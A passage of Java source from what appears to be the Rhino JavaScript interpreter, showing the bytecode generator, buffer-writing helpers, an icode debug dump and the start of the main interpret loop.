child = child.getNextSibling(); iCodeTop = generateICode(child, iCodeTop); iCodeTop = addByte(TokenStream.SETNAME, iCodeTop); iCodeTop = addString(firstChild.getString(), iCodeTop); itsStackDepth--; break; case TokenStream.TYPEOF : { String name = node.getString(); int index = -1; // use typeofname if an activation frame exists // since the vars all exist there instead of in jregs if (itsInFunctionFlag && !itsData.itsNeedsActivation) index = itsVariableTable.getOrdinal(name); if (index == -1) { iCodeTop = addByte(TokenStream.TYPEOFNAME, iCodeTop); iCodeTop = addString(name, iCodeTop); } else { iCodeTop = addByte(TokenStream.GETVAR, iCodeTop); iCodeTop = addByte(index, iCodeTop); iCodeTop = addByte(TokenStream.TYPEOF, iCodeTop); } itsStackDepth++; if (itsStackDepth > itsData.itsMaxStack) itsData.itsMaxStack = itsStackDepth; } break; case TokenStream.PARENT : iCodeTop = generateICode(child, iCodeTop); iCodeTop = addByte(TokenStream.GETPARENT, iCodeTop); break; case TokenStream.GETBASE : case TokenStream.BINDNAME : case TokenStream.NAME : case TokenStream.STRING : iCodeTop = addByte(type, iCodeTop); iCodeTop = addString(node.getString(), iCodeTop); itsStackDepth++; if (itsStackDepth > itsData.itsMaxStack) itsData.itsMaxStack = itsStackDepth; break; case TokenStream.INC : case TokenStream.DEC : { int childType = child.getType(); switch (childType) { case TokenStream.GETVAR : { String name = child.getString(); if (itsData.itsNeedsActivation) { iCodeTop = addByte(TokenStream.SCOPE, iCodeTop); iCodeTop = addByte(TokenStream.STRING, iCodeTop); iCodeTop = addString(name, iCodeTop); itsStackDepth += 2; if (itsStackDepth > itsData.itsMaxStack) itsData.itsMaxStack = itsStackDepth; iCodeTop = addByte(type == TokenStream.INC ? TokenStream.PROPINC : TokenStream.PROPDEC, iCodeTop); itsStackDepth--; } else { iCodeTop = addByte(type == TokenStream.INC ? TokenStream.VARINC : TokenStream.VARDEC, iCodeTop); int i = itsVariableTable.getOrdinal(name); iCodeTop = addByte(i, iCodeTop); itsStackDepth++; if (itsStackDepth > itsData.itsMaxStack) itsData.itsMaxStack = itsStackDepth; } } break; case TokenStream.GETPROP : case TokenStream.GETELEM : { Node getPropChild = child.getFirstChild(); iCodeTop = generateICode(getPropChild, iCodeTop); getPropChild = getPropChild.getNextSibling(); iCodeTop = generateICode(getPropChild, iCodeTop); if (childType == TokenStream.GETPROP) iCodeTop = addByte(type == TokenStream.INC ? TokenStream.PROPINC : TokenStream.PROPDEC, iCodeTop); else iCodeTop = addByte(type == TokenStream.INC ? TokenStream.ELEMINC : TokenStream.ELEMDEC, iCodeTop); itsStackDepth--; } break; default : { iCodeTop = addByte(type == TokenStream.INC ? TokenStream.NAMEINC : TokenStream.NAMEDEC, iCodeTop); iCodeTop = addString(child.getString(), iCodeTop); itsStackDepth++; if (itsStackDepth > itsData.itsMaxStack) itsData.itsMaxStack = itsStackDepth; } break; } } break; case TokenStream.NUMBER : { double num = node.getDouble(); int inum = (int)num; if (inum == num) { if (inum == 0) { iCodeTop = addByte(TokenStream.ZERO, iCodeTop); } else if (inum == 1) { iCodeTop = addByte(TokenStream.ONE, iCodeTop); } else if ((short)inum == inum) { iCodeTop = addByte(TokenStream.SHORTNUMBER, iCodeTop); iCodeTop = addShort(inum, iCodeTop); } else { iCodeTop = addByte(TokenStream.INTNUMBER, iCodeTop); iCodeTop = addInt(inum, iCodeTop); } } else { iCodeTop = addByte(TokenStream.NUMBER, iCodeTop); iCodeTop = addDouble(num, iCodeTop); } itsStackDepth++; if (itsStackDepth > itsData.itsMaxStack) itsData.itsMaxStack = itsStackDepth; break; } case TokenStream.POP : case TokenStream.POPV : iCodeTop = updateLineNumber(node, iCodeTop); case TokenStream.ENTERWITH : iCodeTop = generateICode(child, iCodeTop); iCodeTop = addByte(type, iCodeTop); itsStackDepth--; break; case TokenStream.GETTHIS : iCodeTop = generateICode(child, iCodeTop); iCodeTop = addByte(type, iCodeTop); break; case TokenStream.NEWSCOPE : iCodeTop = addByte(type, iCodeTop); itsStackDepth++; if (itsStackDepth > itsData.itsMaxStack) itsData.itsMaxStack = itsStackDepth; break; case TokenStream.LEAVEWITH : iCodeTop = addByte(type, iCodeTop); break; case TokenStream.TRY : { itsTryDepth++; if (itsTryDepth > itsData.itsMaxTryDepth) itsData.itsMaxTryDepth = itsTryDepth; Node catchTarget = (Node)node.getProp(Node.TARGET_PROP); Node finallyTarget = (Node)node.getProp(Node.FINALLY_PROP); if (catchTarget == null) { iCodeTop = addByte(TokenStream.TRY, iCodeTop); iCodeTop = addShort(0, iCodeTop); } else iCodeTop = addGoto(node, TokenStream.TRY, iCodeTop); int finallyHandler = 0; if (finallyTarget != null) { finallyHandler = acquireLabel(); int theLabel = finallyHandler & 0x7FFFFFFF; itsLabelTable[theLabel].addFixup(iCodeTop); } iCodeTop = addShort(0, iCodeTop); Node lastChild = null; /* when we encounter the child of the catchTarget, we set the stackDepth to 1 to account for the incoming exception object. */ boolean insertedEndTry = false; while (child != null) { if (catchTarget != null && lastChild == catchTarget) { itsStackDepth = 1; if (itsStackDepth > itsData.itsMaxStack) itsData.itsMaxStack = itsStackDepth; } /* When the following child is the catchTarget (or the finallyTarget if there are no catches), the current child is the goto at the end of the try statemets, we need to emit the endtry before that goto. */ Node nextSibling = child.getNextSibling(); if (!insertedEndTry && nextSibling != null && (nextSibling == catchTarget || nextSibling == finallyTarget)) { iCodeTop = addByte(TokenStream.ENDTRY, iCodeTop); insertedEndTry = true; } iCodeTop = generateICode(child, iCodeTop); lastChild = child; child = child.getNextSibling(); } itsStackDepth = 0; if (finallyTarget != null) { // normal flow goes around the finally handler stublet int skippy = acquireLabel(); iCodeTop = addGoto(skippy, TokenStream.GOTO, iCodeTop); // on entry the stack will have the exception object markLabel(finallyHandler, iCodeTop); itsStackDepth = 1; if (itsStackDepth > itsData.itsMaxStack) itsData.itsMaxStack = itsStackDepth; int theLocalSlot = itsData.itsMaxLocals++; iCodeTop = addByte(TokenStream.NEWTEMP, iCodeTop); iCodeTop = addByte(theLocalSlot, iCodeTop); iCodeTop = addByte(TokenStream.POP, iCodeTop); int finallyLabel = finallyTarget.getExistingIntProp(Node.LABEL_PROP); iCodeTop = addGoto(finallyLabel, TokenStream.GOSUB, iCodeTop); iCodeTop = addByte(TokenStream.USETEMP, iCodeTop); iCodeTop = addByte(theLocalSlot, iCodeTop); iCodeTop = addByte(TokenStream.JTHROW, iCodeTop); itsStackDepth = 0; markLabel(skippy, iCodeTop); } itsTryDepth--; } break; case TokenStream.THROW : iCodeTop = updateLineNumber(node, iCodeTop); iCodeTop = generateICode(child, iCodeTop); iCodeTop = addByte(TokenStream.THROW, iCodeTop); itsStackDepth--; break; case TokenStream.RETURN : iCodeTop = updateLineNumber(node, iCodeTop); if (child != null) iCodeTop = generateICode(child, iCodeTop); else { iCodeTop = addByte(TokenStream.UNDEFINED, iCodeTop); itsStackDepth++; if (itsStackDepth > itsData.itsMaxStack) itsData.itsMaxStack = itsStackDepth; } iCodeTop = addGoto(node, TokenStream.RETURN, iCodeTop); itsStackDepth--; break; case TokenStream.GETVAR : { String name = node.getString(); if (itsData.itsNeedsActivation) { // SETVAR handled this by turning into a SETPROP, but // we can't do that to a GETVAR without manufacturing // bogus children. Instead we use a special op to // push the current scope. iCodeTop = addByte(TokenStream.SCOPE, iCodeTop); iCodeTop = addByte(TokenStream.STRING, iCodeTop); iCodeTop = addString(name, iCodeTop); itsStackDepth += 2; if (itsStackDepth > itsData.itsMaxStack) itsData.itsMaxStack = itsStackDepth; iCodeTop = addByte(TokenStream.GETPROP, iCodeTop); itsStackDepth--; } else { int index = itsVariableTable.getOrdinal(name); iCodeTop = addByte(TokenStream.GETVAR, iCodeTop); iCodeTop = addByte(index, iCodeTop); itsStackDepth++; if (itsStackDepth > itsData.itsMaxStack) itsData.itsMaxStack = itsStackDepth; } } break; case TokenStream.SETVAR : { if (itsData.itsNeedsActivation) { child.setType(TokenStream.BINDNAME); node.setType(TokenStream.SETNAME); iCodeTop = generateICode(node, iCodeTop); } else { String name = child.getString(); child = child.getNextSibling(); iCodeTop = generateICode(child, iCodeTop); int index = itsVariableTable.getOrdinal(name); iCodeTop = addByte(TokenStream.SETVAR, iCodeTop); iCodeTop = addByte(index, iCodeTop); } } break; case TokenStream.PRIMARY: iCodeTop = addByte(node.getInt(), iCodeTop); itsStackDepth++; if (itsStackDepth > itsData.itsMaxStack) itsData.itsMaxStack = itsStackDepth; break; case TokenStream.ENUMINIT : iCodeTop = generateICode(child, iCodeTop); iCodeTop = addByte(TokenStream.ENUMINIT, iCodeTop); iCodeTop = addLocalRef(node, iCodeTop); itsStackDepth--; break; case TokenStream.ENUMNEXT : { iCodeTop = addByte(TokenStream.ENUMNEXT, iCodeTop); Node init = (Node)node.getProp(Node.ENUM_PROP); iCodeTop = addLocalRef(init, iCodeTop); itsStackDepth++; if (itsStackDepth > itsData.itsMaxStack) itsData.itsMaxStack = itsStackDepth; } break; case TokenStream.ENUMDONE : // could release the local here?? break; case TokenStream.OBJECT : { Node regexp = (Node) node.getProp(Node.REGEXP_PROP); int index = regexp.getExistingIntProp(Node.REGEXP_PROP); iCodeTop = addByte(TokenStream.OBJECT, iCodeTop); iCodeTop = addShort(index, iCodeTop); itsStackDepth++; if (itsStackDepth > itsData.itsMaxStack) itsData.itsMaxStack = itsStackDepth; } break; default : badTree(node); break; } return iCodeTop; } private int addLocalRef(Node node, int iCodeTop) { int theLocalSlot = node.getIntProp(Node.LOCAL_PROP, -1); if (theLocalSlot == -1) { theLocalSlot = itsData.itsMaxLocals++; node.putIntProp(Node.LOCAL_PROP, theLocalSlot); } iCodeTop = addByte(theLocalSlot, iCodeTop); if (theLocalSlot >= itsData.itsMaxLocals) itsData.itsMaxLocals = theLocalSlot + 1; return iCodeTop; } private int addGoto(Node node, int gotoOp, int iCodeTop) { int targetLabel; if (node.getType() == TokenStream.RETURN) { if (itsEpilogLabel == -1) itsEpilogLabel = acquireLabel(); targetLabel = itsEpilogLabel; } else { Node target = (Node)(node.getProp(Node.TARGET_PROP)); targetLabel = target.getIntProp(Node.LABEL_PROP, -1); if (targetLabel == -1) { targetLabel = acquireLabel(); target.putIntProp(Node.LABEL_PROP, targetLabel); } } iCodeTop = addGoto(targetLabel, (byte) gotoOp, iCodeTop); return iCodeTop; } private int addGoto(int targetLabel, int gotoOp, int iCodeTop) { int gotoPC = iCodeTop; iCodeTop = addByte(gotoOp, iCodeTop); int theLabel = targetLabel & 0x7FFFFFFF; int targetPC = itsLabelTable[theLabel].getPC(); if (targetPC != -1) { int offset = targetPC - gotoPC; iCodeTop = addShort(offset, iCodeTop); } else { itsLabelTable[theLabel].addFixup(gotoPC + 1); iCodeTop = addShort(0, iCodeTop); } return iCodeTop; } private int addByte(int b, int iCodeTop) { byte[] array = itsData.itsICode; if (array.length == iCodeTop) { byte[] ba = new byte[iCodeTop * 2]; System.arraycopy(array, 0, ba, 0, iCodeTop); itsData.itsICode = array = ba; } array[iCodeTop++] = (byte)b; return iCodeTop; } private int addShort(int s, int iCodeTop) { byte[] array = itsData.itsICode; if (iCodeTop + 2 > array.length) { byte[] ba = new byte[(iCodeTop + 2) * 2]; System.arraycopy(array, 0, ba, 0, iCodeTop); itsData.itsICode = array = ba; } array[iCodeTop] = (byte)(s >>> 8); array[iCodeTop + 1] = (byte)s; return iCodeTop + 2; } private int addInt(int i, int iCodeTop) { byte[] array = itsData.itsICode; if (iCodeTop + 4 > array.length) { byte[] ba = new byte[(iCodeTop + 4) * 2]; System.arraycopy(array, 0, ba, 0, iCodeTop); itsData.itsICode = array = ba; } array[iCodeTop] = (byte)(i >>> 24); array[iCodeTop + 1] = (byte)(i >>> 16); array[iCodeTop + 2] = (byte)(i >>> 8); array[iCodeTop + 3] = (byte)i; return iCodeTop + 4; } private int addDouble(double num, int iCodeTop) { int index = itsData.itsDoubleTableIndex; if (index == 0) { itsData.itsDoubleTable = new double[64]; } else if (itsData.itsDoubleTable.length == index) { double[] na = new double[index * 2]; System.arraycopy(itsData.itsDoubleTable, 0, na, 0, index); itsData.itsDoubleTable = na; } itsData.itsDoubleTable[index] = num; itsData.itsDoubleTableIndex = index + 1; iCodeTop = addShort(index, iCodeTop); return iCodeTop; } private int addString(String str, int iCodeTop) { int index = itsData.itsStringTableIndex; if (itsData.itsStringTable.length == index) { String[] sa = new String[index * 2]; System.arraycopy(itsData.itsStringTable, 0, sa, 0, index); itsData.itsStringTable = sa; } itsData.itsStringTable[index] = str; itsData.itsStringTableIndex = index + 1; iCodeTop = addShort(index, iCodeTop); return iCodeTop; } private static int getShort(byte[] iCode, int pc) { return (iCode[pc] << 8) | (iCode[pc + 1] & 0xFF); } private static int getInt(byte[] iCode, int pc) { return (iCode[pc] << 24) | ((iCode[pc + 1] & 0xFF) << 16) | ((iCode[pc + 2] & 0xFF) << 8) | (iCode[pc + 3] & 0xFF); } private static int getTarget(byte[] iCode, int pc) { int displacement = getShort(iCode, pc); return pc - 1 + displacement; } static PrintWriter out; static { if (printICode) { try { out = new PrintWriter(new FileOutputStream("icode.txt")); out.close(); } catch (IOException x) { } } } private static void dumpICode(InterpreterData theData) { if (printICode) { try { int iCodeLength = theData.itsICodeTop; byte iCode[] = theData.itsICode; String[] strings = theData.itsStringTable; out = new PrintWriter(new FileOutputStream("icode.txt", true)); out.println("ICode dump, for " + theData.itsName + ", length = " + iCodeLength); out.println("MaxStack = " + theData.itsMaxStack); for (int pc = 0; pc < iCodeLength; ) { out.print("[" + pc + "] "); int token = iCode[pc] & 0xff; String tname = TokenStream.tokenToName(token); ++pc; switch (token) { case TokenStream.SCOPE : case TokenStream.GETPROTO : case TokenStream.GETPARENT : case TokenStream.GETSCOPEPARENT : case TokenStream.SETPROTO : case TokenStream.SETPARENT : case TokenStream.DELPROP : case TokenStream.TYPEOF : case TokenStream.NEWSCOPE : case TokenStream.ENTERWITH : case TokenStream.LEAVEWITH : case TokenStream.ENDTRY : case TokenStream.THROW : case TokenStream.JTHROW : case TokenStream.GETTHIS : case TokenStream.SETELEM : case TokenStream.GETELEM : case TokenStream.SETPROP : case TokenStream.GETPROP : case TokenStream.PROPINC : case TokenStream.PROPDEC : case TokenStream.ELEMINC : case TokenStream.ELEMDEC : case TokenStream.BITNOT : case TokenStream.BITAND : case TokenStream.BITOR : case TokenStream.BITXOR : case TokenStream.LSH : case TokenStream.RSH : case TokenStream.URSH : case TokenStream.NEG : case TokenStream.POS : case TokenStream.SUB : case TokenStream.MUL : case TokenStream.DIV : case TokenStream.MOD : case TokenStream.ADD : case TokenStream.POPV : case TokenStream.POP : case TokenStream.DUP : case TokenStream.LT : case TokenStream.GT : case TokenStream.LE : case TokenStream.GE : case TokenStream.IN : case TokenStream.INSTANCEOF : case TokenStream.EQ : case TokenStream.NE : case TokenStream.SHEQ : case TokenStream.SHNE : case TokenStream.ZERO : case TokenStream.ONE : case TokenStream.NULL : case TokenStream.THIS : case TokenStream.THISFN : case TokenStream.FALSE : case TokenStream.TRUE : case TokenStream.UNDEFINED : case TokenStream.SOURCEFILE : out.println(tname); break; case TokenStream.GOSUB : case TokenStream.RETURN : case TokenStream.GOTO : case TokenStream.IFEQ : case TokenStream.IFNE : { int newPC = getTarget(iCode, pc); out.println(tname + " " + newPC); pc += 2; } break; case TokenStream.TRY : { int newPC1 = getTarget(iCode, pc); int newPC2 = getTarget(iCode, pc + 2); out.println(tname + " " + newPC1 + " " + newPC2); pc += 4; } break; case TokenStream.RETSUB : case TokenStream.ENUMINIT : case TokenStream.ENUMNEXT : case TokenStream.VARINC : case TokenStream.VARDEC : case TokenStream.GETVAR : case TokenStream.SETVAR : case TokenStream.NEWTEMP : case TokenStream.USETEMP : { int slot = (iCode[pc] & 0xFF); out.println(tname + " " + slot); pc++; } break; case TokenStream.CALLSPECIAL : { int line = getShort(iCode, pc); String name = strings[getShort(iCode, pc + 2)]; int count = getShort(iCode, pc + 4); out.println(tname + " " + count + " " + line + " " + name); pc += 6; } break; case TokenStream.OBJECT : case TokenStream.CLOSURE : case TokenStream.NEW : case TokenStream.CALL : { int count = getShort(iCode, pc + 2); String name = strings[getShort(iCode, pc)]; out.println(tname + " " + count + " \"" + name + "\""); pc += 4; } break; case TokenStream.SHORTNUMBER : { int value = getShort(iCode, pc); out.println(tname + " " + value); pc += 2; } break; case TokenStream.INTNUMBER : { int value = getInt(iCode, pc); out.println(tname + " " + value); pc += 4; } break; case TokenStream.NUMBER : { int index = getShort(iCode, pc); double value = theData.itsDoubleTable[index]; out.println(tname + " " + value); pc += 2; } break; case TokenStream.TYPEOFNAME : case TokenStream.GETBASE : case TokenStream.BINDNAME : case TokenStream.SETNAME : case TokenStream.NAME : case TokenStream.NAMEINC : case TokenStream.NAMEDEC : case TokenStream.STRING : out.println(tname + " \"" + strings[getShort(iCode, pc)] + "\""); pc += 2; break; case TokenStream.LINE : { int line = getShort(iCode, pc); out.println(tname + " : " + line); pc += 2; } break; default : out.close(); throw new RuntimeException("Unknown icode : " + token + " @ pc : " + (pc - 1)); } } out.close(); } catch (IOException x) {} } } private static void createFunctionObject(InterpretedFunction fn, Scriptable scope) { fn.setPrototype(ScriptableObject.getClassPrototype(scope, "Function")); fn.setParentScope(scope); InterpreterData id = fn.itsData; if (id.itsName.length() == 0) return; if ((id.itsFunctionType == FunctionNode.FUNCTION_STATEMENT && fn.itsClosure == null) || (id.itsFunctionType == FunctionNode.FUNCTION_EXPRESSION_STATEMENT && fn.itsClosure != null)) { ScriptRuntime.setProp(scope, fn.itsData.itsName, fn, scope); } } public static Object interpret(Context cx, Scriptable scope, Scriptable thisObj, Object[] args, NativeFunction fnOrScript, InterpreterData theData) throws JavaScriptException { int i; Object lhs; final int maxStack = theData.itsMaxStack; final int maxVars = (fnOrScript.argNames == null) ? 0 : fnOrScript.argNames.length; final int maxLocals = theData.itsMaxLocals; final int maxTryDepth = theData.itsMaxTryDepth; final int VAR_SHFT = maxStack; final int LOCAL_SHFT = VAR_SHFT + maxVars; final int TRY_SCOPE_SHFT = LOCAL_SHFT + maxLocals; // stack[0 <= i < VAR_SHFT]: stack data // stack[VAR_SHFT <= i < LOCAL_SHFT]: variables // stack[LOCAL_SHFT <= i < TRY_SCOPE_SHFT]: used for newtemp/usetemp // stack[TRY_SCOPE_SHFT <= i]: try scopes // when 0 <= i < LOCAL_SHFT and stack[x] == DBL_MRK, // sDbl[i] gives the number value final Object DBL_MRK = Interpreter.DBL_MRK; Object[] stack = new Object[TRY_SCOPE_SHFT + maxTryDepth]; double[] sDbl = new double[TRY_SCOPE_SHFT]; int stackTop = -1; byte[] iCode = theData.itsICode; String[] strings = theData.itsStringTable; int pc = 0; int iCodeLength = theData.itsICodeTop; final Scriptable undefined = Undefined.instance; if (maxVars != 0) { int definedArgs = fnOrScript.argCount; if (definedArgs != 0) { if (definedArgs > args.length) { definedArgs = args.length; } for (i = 0; i != definedArgs; ++i) { stack[VAR_SHFT + i] = args[i]; } } for (i = definedArgs; i != maxVars; ++i) { stack[VAR_SHFT + i] = undefined; } } if (theData.itsNestedFunctions != null) { for (i = 0; i < theData.itsNestedFunctions.length; i++) createFunctionObject(theData.itsNestedFunctions[i], scope); } Object id; Object rhs, val; double valDbl; boolean valBln; int count; int slot; String name = null; Object[] outArgs; int lIntValue; double lDbl; int rIntValue; double rDbl; int[] catchStack = null; int tryStackTop = 0; InterpreterFrame frame = null; if (cx.debugger != null) { frame = new InterpreterFrame(scope, theData, fnOrScript); cx.pushFrame(frame); } if (maxTryDepth != 0) { // catchStack[2 * i]: starting pc of catch block // catchStack[2 * i + 1]: starting pc of finally block catchStack = new int[maxTryDepth * 2]; } /* Save the security domain. Must restore upon normal exit. * If we exit the interpreter loop by throwing an exception, * set cx.interpreterSecurityDomain to null, and require the * catching function to restore it. */ Object savedSecurityDomain = cx.interpreterSecurityDomain; cx.interpreterSecurityDomain = theData.securityDomain; Object result = undefined; int pcPrevBranch = pc; final int instructionThreshold = cx.instructionThreshold; // During function call this will be set to -1 so catch can properly // adjust it int instructionCount = cx.instructionCount; // arbitrary number to add to instructionCount when calling // other functions final int INVOCATION_COST = 100; while (pc < iCodeLength) { try { switch (iCode[pc] & 0xff) { case TokenStream.ENDTRY : tryStackTop--; break; case TokenStream.TRY : i = getTarget(iCode, pc + 1); if (i == pc) i = 0; catchStack[tryStackTop * 2] = i; i = getTarget(iCode, pc + 3); if (i == (pc + 2)) i = 0; catchStack[tryStackTop * 2 + 1] = i; stack[TRY_SCOPE_SHFT + tryStackTop] = scope; ++tryStackTop; pc += 4; break; case TokenStream.GE : --stackTop; rhs = stack[stackTop + 1]; lhs = stack[stackTop]; if (rhs == DBL_MRK || lhs == DBL_MRK) { rDbl = stack_double(stack, sDbl, stackTop + 1); lDbl = stack_double(stack, sDbl, stackTop); valBln = (rDbl == rDbl && lDbl == lDbl && rDbl <= lDbl); } else { valBln = (1 == ScriptRuntime.cmp_LE(rhs, lhs)); } stack[stackTop] = valBln ? Boolean.TRUE : Boolean.FALSE; break; case TokenStream.LE : --stackTop; rhs = stack[stackTop + 1]; lhs = stack[stackTop]; if (rhs == DBL_MRK || lhs == DBL_MRK) { rDbl = stack_double(stack, sDbl, stackTop + 1); lDbl = stack_double(stack, sDbl, stackTop); valBln = (rDbl == rDbl && lDbl == lDbl && lDbl <= rDbl); } else { valBln = (1 == ScriptRuntime.cmp_LE(lhs, rhs)); } stack[stackTop] = valBln ? Boolean.TRUE : Boolean.FALSE; break; case TokenStream.GT : --stackTop; rhs = stack[stackTop + 1]; lhs = stack[stackTop]; if (rhs == DBL_MRK || lhs == DBL_MRK) { rDbl = stack_double(stack, sDbl, stackTop + 1); lDbl = stack_double(stack, sDbl, stackTop); valBln = (rDbl == rDbl && lDbl == lDbl && rDbl < lDbl); } else { valBln = (1 == ScriptRuntime.cmp_LT(rhs, lhs)); } stack[stackTop] = valBln ? Boolean.TRUE : Boolean.FALSE; break; case TokenStream.LT : --stackTop; rhs = stack[stackTop + 1]; lhs = stack[stackTop]; if (rhs == DBL_MRK || lhs == DBL_MRK) { rDbl = stack_double(stack, sDbl, stackTop + 1); lDbl = stack_double(stack, sDbl, stackTop); valBln = (rDbl == rDbl && lDbl == lDbl && lDbl < rDbl); } else { valBln = (1 == ScriptRuntime.cmp_LT(lhs, rhs)); } stack[stackTop] = valBln ? Boolean.TRUE : Boolean.FALSE; break; case TokenStream.IN : rhs = stack[stackTop]; if (rhs == DBL_MRK) rhs = doubleWrap(sDbl[stackTop]); --stackTop; lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); valBln = ScriptRuntime.in(lhs, rhs, scope); stack[stackTop] = valBln ? Boolean.TRUE : Boolean.FALSE; break; case TokenStream.INSTANCEOF : rhs = stack[stackTop]; if (rhs == DBL_MRK) rhs = doubleWrap(sDbl[stackTop]); --stackTop; lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); valBln = ScriptRuntime.instanceOf(scope, lhs, rhs); stack[stackTop] = valBln ? Boolean.TRUE : Boolean.FALSE; break; case TokenStream.EQ : --stackTop; valBln = do_eq(stack, sDbl, stackTop); stack[stackTop] = valBln ? Boolean.TRUE : Boolean.FALSE; break; case TokenStream.NE : --stackTop; valBln = !do_eq(stack, sDbl, stackTop); stack[stackTop] = valBln ? Boolean.TRUE : Boolean.FALSE; break; case TokenStream.SHEQ : --stackTop; valBln = do_sheq(stack, sDbl, stackTop); stack[stackTop] = valBln ? Boolean.TRUE : Boolean.FALSE; break; case TokenStream.SHNE : --stackTop; valBln = !do_sheq(stack, sDbl, stackTop); stack[stackTop] = valBln ? Boolean.TRUE : Boolean.FALSE; break; case TokenStream.IFNE : val = stack[stackTop]; if (val != DBL_MRK) { valBln = !ScriptRuntime.toBoolean(val); } else { valDbl = sDbl[stackTop]; valBln = !(valDbl == valDbl && valDbl != 0.0); } --stackTop; if (valBln) { if (instructionThreshold != 0) { instructionCount += pc + 3 - pcPrevBranch; if (instructionCount > instructionThreshold) { cx.observeInstructionCount (instructionCount); instructionCount = 0; } } pcPrevBranch = pc = getTarget(iCode, pc + 1); continue; } pc += 2; break; case TokenStream.IFEQ : val = stack[stackTop]; if (val != DBL_MRK) { valBln = ScriptRuntime.toBoolean(val); } else { valDbl = sDbl[stackTop]; valBln = (valDbl == valDbl && valDbl != 0.0); } --stackTop; if (valBln) { if (instructionThreshold != 0) { instructionCount += pc + 3 - pcPrevBranch; if (instructionCount > instructionThreshold) { cx.observeInstructionCount (instructionCount); instructionCount = 0; } } pcPrevBranch = pc = getTarget(iCode, pc + 1); continue; } pc += 2; break; case TokenStream.GOTO : if (instructionThreshold != 0) { instructionCount += pc + 3 - pcPrevBranch; if (instructionCount > instructionThreshold) { cx.observeInstructionCount(instructionCount); instructionCount = 0; } } pcPrevBranch = pc = getTarget(iCode, pc + 1); continue; case TokenStream.GOSUB : sDbl[++stackTop] = pc + 3; if (instructionThreshold != 0) { instructionCount += pc + 3 - pcPrevBranch; if (instructionCount > instructionThreshold) { cx.observeInstructionCount(instructionCount); instructionCount = 0; } } pcPrevBranch = pc = getTarget(iCode, pc + 1); continue; case TokenStream.RETSUB : slot = (iCode[pc + 1] & 0xFF); if (instructionThreshold != 0) { instructionCount += pc + 2 - pcPrevBranch; if (instructionCount > instructionThreshold) { cx.observeInstructionCount(instructionCount); instructionCount = 0; } } pcPrevBranch = pc = (int)sDbl[LOCAL_SHFT + slot]; continue; case TokenStream.POP : stackTop--; break; case TokenStream.DUP : stack[stackTop + 1] = stack[stackTop]; sDbl[stackTop + 1] = sDbl[stackTop]; stackTop++; break; case TokenStream.POPV : result = stack[stackTop]; if (result == DBL_MRK) result = doubleWrap(sDbl[stackTop]); --stackTop; break; case TokenStream.RETURN : result = stack[stackTop]; if (result == DBL_MRK) result = doubleWrap(sDbl[stackTop]); --stackTop; pc = getTarget(iCode, pc + 1); break; case TokenStream.BITNOT : rIntValue = stack_int32(stack, sDbl, stackTop); stack[stackTop] = DBL_MRK; sDbl[stackTop] = ~rIntValue; break; case TokenStream.BITAND : rIntValue = stack_int32(stack, sDbl, stackTop); --stackTop; lIntValue = stack_int32(stack, sDbl, stackTop); stack[stackTop] = DBL_MRK; sDbl[stackTop] = lIntValue & rIntValue; break; case TokenStream.BITOR : rIntValue = stack_int32(stack, sDbl, stackTop); --stackTop; lIntValue = stack_int32(stack, sDbl, stackTop); stack[stackTop] = DBL_MRK; sDbl[stackTop] = lIntValue | rIntValue; break; case TokenStream.BITXOR : rIntValue = stack_int32(stack, sDbl, stackTop); --stackTop; lIntValue = stack_int32(stack, sDbl, stackTop); stack[stackTop] = DBL_MRK; sDbl[stackTop] = lIntValue ^ rIntValue; break; case TokenStream.LSH : rIntValue = stack_int32(stack, sDbl, stackTop); --stackTop; lIntValue = stack_int32(stack, sDbl, stackTop); stack[stackTop] = DBL_MRK; sDbl[stackTop] = lIntValue << rIntValue; break; case TokenStream.RSH : rIntValue = stack_int32(stack, sDbl, stackTop); --stackTop; lIntValue = stack_int32(stack, sDbl, stackTop); stack[stackTop] = DBL_MRK; sDbl[stackTop] = lIntValue >> rIntValue; break; case TokenStream.URSH : rIntValue = stack_int32(stack, sDbl, stackTop) & 0x1F; --stackTop; lDbl = stack_double(stack, sDbl, stackTop); stack[stackTop] = DBL_MRK; sDbl[stackTop] = ScriptRuntime.toUint32(lDbl) >>> rIntValue; break; case TokenStream.ADD : --stackTop; do_add(stack, sDbl, stackTop); break; case TokenStream.SUB : rDbl = stack_double(stack, sDbl, stackTop); --stackTop; lDbl = stack_double(stack, sDbl, stackTop); stack[stackTop] = DBL_MRK; sDbl[stackTop] = lDbl - rDbl; break; case TokenStream.NEG : rDbl = stack_double(stack, sDbl, stackTop); stack[stackTop] = DBL_MRK; sDbl[stackTop] = -rDbl; break; case TokenStream.POS : rDbl = stack_double(stack, sDbl, stackTop); stack[stackTop] = DBL_MRK; sDbl[stackTop] = rDbl; break; case TokenStream.MUL : rDbl = stack_double(stack, sDbl, stackTop); --stackTop; lDbl = stack_double(stack, sDbl, stackTop); stack[stackTop] = DBL_MRK; sDbl[stackTop] = lDbl * rDbl; break; case TokenStream.DIV : rDbl = stack_double(stack, sDbl, stackTop); --stackTop; lDbl = stack_double(stack, sDbl, stackTop); stack[stackTop] = DBL_MRK; // Detect the divide by zero or let Java do it ? sDbl[stackTop] = lDbl / rDbl; break; case TokenStream.MOD : rDbl = stack_double(stack, sDbl, stackTop); --stackTop; lDbl = stack_double(stack, sDbl, stackTop); stack[stackTop] = DBL_MRK; sDbl[stackTop] = lDbl % rDbl; break; case TokenStream.BINDNAME : name = strings[getShort(iCode, pc + 1)]; stack[++stackTop] = ScriptRuntime.bind(scope, name); pc += 2; break; case TokenStream.GETBASE : name = strings[getShort(iCode, pc + 1)]; stack[++stackTop] = ScriptRuntime.getBase(scope, name); pc += 2; break; case TokenStream.SETNAME : rhs = stack[stackTop]; if (rhs == DBL_MRK) rhs = doubleWrap(sDbl[stackTop]); --stackTop; lhs = stack[stackTop]; // what about class cast exception here for lhs? stack[stackTop] = ScriptRuntime.setName ((Scriptable)lhs, rhs, scope, strings[getShort(iCode, pc + 1)]); pc += 2; break; case TokenStream.DELPROP : rhs = stack[stackTop]; if (rhs == DBL_MRK) rhs = doubleWrap(sDbl[stackTop]); --stackTop; lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); stack[stackTop] = ScriptRuntime.delete(lhs, rhs); break; case TokenStream.GETPROP : name = (String)stack[stackTop]; --stackTop; lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); stack[stackTop] = ScriptRuntime.getProp(lhs, name, scope); break; case TokenStream.SETPROP : rhs = 